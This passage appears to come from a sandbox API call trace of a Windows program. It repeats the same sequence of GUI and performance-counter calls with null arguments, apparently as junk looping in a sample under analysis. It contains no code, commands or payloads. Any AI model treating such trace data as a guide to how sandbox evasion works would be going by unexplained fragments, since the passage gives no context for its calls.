returned 0xc0000bbc [0026.961] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.961] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.961] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189142773, cy=27, fuLoad=0x0) returned 0x0 [0026.961] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.962] GetLastError () returned 0x715 [0026.962] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.962] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.962] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.962] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.962] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.962] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.962] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189123828, cy=27, fuLoad=0x0) returned 0x0 [0026.962] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.962] GetLastError () returned 0x715 [0026.962] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.962] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.962] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.962] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.962] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.962] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.962] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189104883, cy=27, fuLoad=0x0) returned 0x0 [0026.962] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.963] GetLastError () returned 0x715 [0026.963] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.963] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.963] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.963] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.963] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.963] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.963] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189085938, cy=27, fuLoad=0x0) returned 0x0 [0026.963] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.963] GetLastError () returned 0x715 [0026.963] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.963] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.963] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.963] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.963] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.963] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.963] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189066993, cy=27, fuLoad=0x0) returned 0x0 [0026.963] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.964] GetLastError () returned 0x715 [0026.964] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.964] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.964] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.964] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.964] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.964] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.964] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189048048, cy=27, fuLoad=0x0) returned 0x0 [0026.964] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.964] GetLastError () returned 0x715 [0026.964] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.964] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.964] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.964] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.964] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.964] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.964] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189029103, cy=27, fuLoad=0x0) returned 0x0 [0026.964] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.964] GetLastError () returned 0x715 [0026.965] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.965] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.965] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.965] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.965] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.965] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.965] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189010158, cy=27, fuLoad=0x0) returned 0x0 [0026.965] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.965] GetLastError () returned 0x715 [0026.965] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.965] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.965] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.965] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.965] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.965] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.965] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188991213, cy=27, fuLoad=0x0) returned 0x0 [0026.965] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.965] GetLastError () returned 0x715 [0026.966] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.966] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.966] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.966] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.966] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.966] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.966] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188972268, cy=27, fuLoad=0x0) returned 0x0 [0026.966] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.966] GetLastError () returned 0x715 [0026.966] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.966] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.966] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.966] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.966] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.966] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.966] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188953323, cy=27, fuLoad=0x0) returned 0x0 [0026.966] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.966] GetLastError () returned 0x715 [0026.966] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.967] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.967] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.967] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.967] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.967] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.967] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188934378, cy=27, fuLoad=0x0) returned 0x0 [0026.967] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.967] GetLastError () returned 0x715 [0026.967] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.967] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.967] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.967] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.967] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.967] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.967] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188915433, cy=27, fuLoad=0x0) returned 0x0 [0026.967] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.967] GetLastError () returned 0x715 [0026.967] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.968] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.968] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.968] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.968] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.968] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.968] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188896488, cy=27, fuLoad=0x0) returned 0x0 [0026.968] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.968] GetLastError () returned 0x715 [0026.968] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.968] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.968] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.968] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.968] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.968] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.968] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188877543, cy=27, fuLoad=0x0) returned 0x0 [0026.968] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.968] GetLastError () returned 0x715 [0026.968] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.968] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.969] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.969] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.969] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.969] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.969] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188858598, cy=27, fuLoad=0x0) returned 0x0 [0026.969] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.969] GetLastError () returned 0x715 [0026.969] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.969] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.969] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.969] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.969] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.969] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.969] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188839653, cy=27, fuLoad=0x0) returned 0x0 [0026.969] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.969] GetLastError () returned 0x715 [0026.969] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.969] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.969] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.970] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.970] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.970] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.970] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188820708, cy=27, fuLoad=0x0) returned 0x0 [0026.970] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.970] GetLastError () returned 0x715 [0026.970] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.970] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.970] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.970] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.970] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.970] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.970] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188801763, cy=27, fuLoad=0x0) returned 0x0 [0026.970] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.970] GetLastError () returned 0x715 [0026.970] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.970] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.970] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.970] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.971] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.971] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.971] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188782818, cy=27, fuLoad=0x0) returned 0x0 [0026.971] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.971] GetLastError () returned 0x715 [0026.971] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.971] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.971] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.971] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.971] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.971] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.971] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188763873, cy=27, fuLoad=0x0) returned 0x0 [0026.971] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.971] GetLastError () returned 0x715 [0026.971] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.971] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.971] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.971] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.971] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.972] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.972] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188744928, cy=27, fuLoad=0x0) returned 0x0 [0026.972] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.972] GetLastError () returned 0x715 [0026.972] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.972] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.972] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.972] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.972] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.972] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.972] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188725983, cy=27, fuLoad=0x0) returned 0x0 [0026.973] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.973] GetLastError () returned 0x715 [0026.973] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.973] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.973] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.973] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.973] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.973] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.973] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188707038, cy=27, fuLoad=0x0) returned 0x0 [0026.973] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.973] GetLastError () returned 0x715 [0026.973] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.973] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.973] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.973] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.973] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.973] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.973] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188688093, cy=27, fuLoad=0x0) returned 0x0 [0026.974] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.974] GetLastError () returned 0x715 [0026.974] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.974] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.974] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.974] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.974] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.974] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.974] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188669148, cy=27, fuLoad=0x0) returned 0x0 [0026.974] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.974] GetLastError () returned 0x715 [0026.974] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.974] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.974] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.974] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.974] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.974] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.974] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188650203, cy=27, fuLoad=0x0) returned 0x0 [0026.974] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.975] GetLastError () returned 0x715 [0026.975] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.975] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.975] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.975] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.975] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.975] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.975] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188631258, cy=27, fuLoad=0x0) returned 0x0 [0026.975] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.975] GetLastError () returned 0x715 [0026.975] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.975] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.975] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.975] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.975] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.975] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.975] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188612313, cy=27, fuLoad=0x0) returned 0x0 [0026.975] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.976] GetLastError () returned 0x715 [0026.976] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.976] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.976] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.976] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.976] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.976] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.976] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188593368, cy=27, fuLoad=0x0) returned 0x0 [0026.976] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.976] GetLastError () returned 0x715 [0026.976] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.976] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.976] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.976] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.976] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.976] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.976] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188574423, cy=27, fuLoad=0x0) returned 0x0 [0026.976] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.977] GetLastError () returned 0x715 [0026.977] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.977] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.977] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.977] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.977] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.977] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.977] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188555478, cy=27, fuLoad=0x0) returned 0x0 [0026.977] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.977] GetLastError () returned 0x715 [0026.977] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.977] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.977] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.977] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.977] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.977] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.977] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188536533, cy=27, fuLoad=0x0) returned 0x0 [0026.977] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.978] GetLastError () returned 0x715 [0026.978] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.978] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.978] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.978] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.978] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.978] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.978] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188517588, cy=27, fuLoad=0x0) returned 0x0 [0026.978] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.978] GetLastError () returned 0x715 [0026.978] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 